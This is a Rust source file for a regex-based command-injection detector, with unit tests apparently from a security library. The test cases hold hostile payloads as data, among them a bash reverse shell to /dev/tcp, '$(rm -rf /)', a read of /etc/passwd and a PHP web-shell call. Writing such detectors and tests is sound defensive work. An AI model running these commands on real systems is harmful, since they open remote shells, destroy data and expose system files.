security_rust/injection/
command_injection.rs1use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
4use regex::Regex;
5use std::sync::LazyLock;
6
7static PATTERNS: LazyLock<Vec<Regex>> = LazyLock::new(|| {
8 vec![
9 Regex::new(r"`[^`]+`").unwrap(),
10 Regex::new(r"\$\([^)]+\)").unwrap(),
11 Regex::new(r"\|[\s]*\w+").unwrap(),
12 Regex::new(r"\|\|[\s]*\w+").unwrap(),
13 Regex::new(r"&&\s*\w+").unwrap(),
14 Regex::new(r"/dev/tcp[/\w]*").unwrap(),
15 Regex::new(r"(?i)passthru\s*\(").unwrap(),
16 Regex::new(r"(?i)shell_exec\s*\(").unwrap(),
17 Regex::new(r"(?i)system\s*\(").unwrap(),
18 Regex::new(r"(?i)exec\s*\(").unwrap(),
19 Regex::new(r"(?i)popen\s*\(").unwrap(),
20 Regex::new(r"(?i)pcntl_exec\s*\(").unwrap(),
21 Regex::new(r"(?i)cmd\.exe").unwrap(),
22 Regex::new(r"(?i)powershell").unwrap(),
23 Regex::new(r">/dev/null").unwrap(),
24 ]
25});
26
27pub struct CommandInjectionDetector;
28
29impl Detector for CommandInjectionDetector {
30 fn name(&self) -> &'static str {
31 "command_injection"
32 }
33
34 fn detect(&self, input: &str) -> Option<DetectionResult> {
35 regex_detect(
36 &PATTERNS,
37 self.name(),
38 AttackCategory::Injection,
39 Severity::Critical,
40 "Command injection detected",
41 input,
42 )
43 }
44}
45
46#[cfg(test)]
47mod tests {
48 use super::*;
49
50 fn det() -> CommandInjectionDetector {
51 CommandInjectionDetector
52 }
53
54 fn assert_hit(input: &str) {
55 crate::test_helpers::assert_detected(
56 &det(),
57 input,
58 AttackCategory::Injection,
59 Severity::Critical,
60 );
61 }
62
63 #[test]
64 fn name_is_command_injection() {
65 assert_eq!(det().name(), "command_injection");
66 }
67
68 #[test]
69 fn detects_common_payloads() {
70 for input in [
71 "`cat /etc/passwd`",
72 "$(rm -rf /)",
73 "ls | grep passwd",
74 "cd /tmp && rm -rf *",
75 "bash -i >& /dev/tcp/10.0.0.1/4444",
76 "php -r 'system($_GET[\"cmd\"]);'",
77 "cmd.exe /c dir",
78 "powershell -Command Get-Process",
79 ] {
80 assert_hit(input);
81 }
82 }
83
84 #[test]
85 fn benign_inputs_not_detected() {
86 for input in [
87 "Hello, this is a normal text input. Nothing suspicious here.",
88 "The system is running normally",
89 "I executed the plan successfully",
90 "Pipes are used to join commands in unix",
91 "Please run the update script",
92 ] {
93 assert!(det().detect(input).is_none(), "false positive: {input}");
94 }
95 }
96
97 #[test]
98 fn edge_cases() {
99 assert!(det().detect("").is_none());
100 assert!(det().detect(" \t\n ").is_none());
101 assert!(det().detect("你好世界 こんにちは").is_none());
102 assert!(det().detect("system id").is_none());
104 assert!(det().detect("rm -rf /").is_none());
105 assert!(det().detect("cmd /c dir").is_none());
106 }
107
108 #[test]
109 fn obfuscated_variants_detected() {
110 for input in [
111 "SYSTEM('id')",
112 "Shell_Exec('id')",
113 "PowerShell -Command Get-Process",
114 "PASSTHRU('id')",
115 ] {
116 assert_hit(input);
117 }
118 }
119}